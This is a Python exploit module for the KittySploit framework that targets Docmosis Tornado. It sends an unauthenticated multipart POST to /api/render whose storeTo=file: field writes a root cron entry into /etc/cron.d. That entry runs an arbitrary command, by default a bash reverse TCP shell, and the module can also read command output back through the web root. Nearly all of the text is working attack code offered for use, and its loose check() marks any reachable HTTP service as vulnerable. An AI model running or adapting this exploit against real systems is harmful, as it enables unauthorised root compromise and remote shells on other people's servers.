Docmosis Tornado storeTo file write cron RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Docmosis Tornado unauthenticated storeTo=file arbitrary write → cron root RCE."""

from __future__ import annotations

import json
import re
import time

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Docmosis Tornado storeTo file write cron RCE",
        "description": (
            "Anonymous POST /api/render with storeTo=file:/etc/cron.d/... writes a cron "
            "line as root when the service runs with elevated privileges."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["docmosis", "rce", "unauth", "file-write"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/docmosis_storeto_file_rce_detect"],
            },
        },
    }

    port = OptPort(8090, "Docmosis Tornado HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    template_name = OptString("WelcomeTemplate.docx", "Template name in templateStore", required=False)
    webapp_root = OptString("", "Tomcat ROOT path on target (optional, for HTTP output retrieval)", required=False)
    cron_wait = OptInteger(70, "Seconds to wait for cron after write", required=False)

    def _render_store(self, store_path: str, message: str, output_name: str = "poc.txt") -> tuple[int, str]:
        boundary = "----docmosis_ks_boundary"
        fields = {
            "templateName": str(self.template_name or "WelcomeTemplate.docx"),
            "outputName": output_name,
            "outputFormat": "txt",
            "storeTo": "file:" + store_path,
            "data": json.dumps({"date": "x", "message": message}),
        }
        body = b""
        for key, val in fields.items():
            body += f"--{boundary}\r\n".encode()
            body += f'Content-Disposition: form-data; name="{key}"\r\n\r\n'.encode()
            body += f"{val}\r\n".encode()
        body += f"--{boundary}--\r\n".encode()
        resp = self.http_request(
            "POST",
            "/api/render",
            data=body,
            headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
        )
        if not resp:
            return -1, "request failed"
        return int(resp.status_code or 0), (resp.text or "")[:4000]

    def execute(self, cmd: str) -> str:
        tag = f"ks_{int(time.time())}"
        cron_path = f"/etc/cron.d/docmosis_{tag}"
        root = str(self.webapp_root or "").strip().rstrip("/")
        out_rel = f"poc_out_{tag}.txt"
        if root:
            out_abs = f"{root}/{out_rel}"
            safe = cmd.replace("'", "'\\''")
            cron_line = f"* * * * * root sh -c '{safe} > {out_abs} 2>&1'"
        else:
            cron_line = f"* * * * * root {cmd}"
        status, resp = self._render_store(cron_path, cron_line)
        result = f"HTTP {status} {resp[:800]}\ncron_path={cron_path}"
        if root and status == 200 and "succeeded" in resp.lower():
            wait = int(self.cron_wait or 70)
            time.sleep(wait)
            fetch = self.http_request("GET", f"/{out_rel}")
            if fetch and int(fetch.status_code or 0) == 200:
                result += f"\n--- output ---\n{(fetch.text or '')[:4000]}"
        return result

    def check(self):
        resp = self.http_request("GET", "/")
        body = (resp.text or "").lower() if resp else ""
        if "docmosis" in body:
            return {
                "vulnerable": True,
                "reason": "Docmosis surface detected",
                "confidence": "medium",
            }
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "HTTP service reachable — try /api/render storeTo chain",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "HTTP service not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("Writing cron via POST /api/render (storeTo=file:...)")
        print_info(self.execute(shell))
        print_success("Cron dispatched — execution within ~1 minute; use reverse handler if no webapp_root")
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True